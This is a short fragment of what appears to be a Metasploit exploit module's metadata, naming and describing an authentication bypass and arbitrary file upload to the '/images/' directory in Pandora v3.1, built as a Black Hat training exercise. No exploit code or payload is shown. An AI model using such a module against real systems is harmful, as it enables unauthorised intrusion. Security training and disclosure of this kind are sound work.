'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
upload which allows a user to upload arbitrary files to the '/images/' directory.
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
that was facilitated by egypt and mubix.
